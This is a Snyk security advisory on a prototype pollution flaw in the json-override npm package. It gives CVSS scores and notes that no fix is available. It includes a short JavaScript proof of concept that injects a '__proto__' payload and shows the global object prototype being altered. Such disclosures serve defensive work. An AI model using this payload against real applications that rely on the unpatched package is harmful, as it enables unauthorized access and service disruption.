Improper Control of Dynamically-Managed Code Resources Affecting json-override package, versions *


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    0.11% (44th percentile)

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  • Snyk ID SNYK-JS-JSONOVERRIDE-7575312
  • published 31 Jul 2024
  • disclosed 30 Jul 2024
  • credit mestrtee

How to fix?

There is no fixed version for json-override.

Overview

json-override is an Override properties of one JS object with those of another.

Affected versions of this package are vulnerable to Improper Control of Dynamically-Managed Code Resources through the __proto__ property. An attacker can manipulate the object prototype, leading to potential unauthorized access or service disruption by modifying object properties.

PoC

(async () => {
  const lib = await import('json-override');

var BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));
try {
  lib.default ({}, BAD_JSON)
} catch (e) { }
console.log("After Attack: ", JSON.stringify(victim.__proto__));
delete Object.prototype.polluted;
})();

CVSS Scores

version 4.0
version 3.1
Expand this section

Snyk

Recommended
6.9 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    Low
  • Attack Requirements (AT)
    None
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Confidentiality (VC)
    Low
  • Integrity (VI)
    None
  • Availability (VA)
    Low
  • Confidentiality (SC)
    None
  • Integrity (SI)
    None
  • Availability (SA)
    None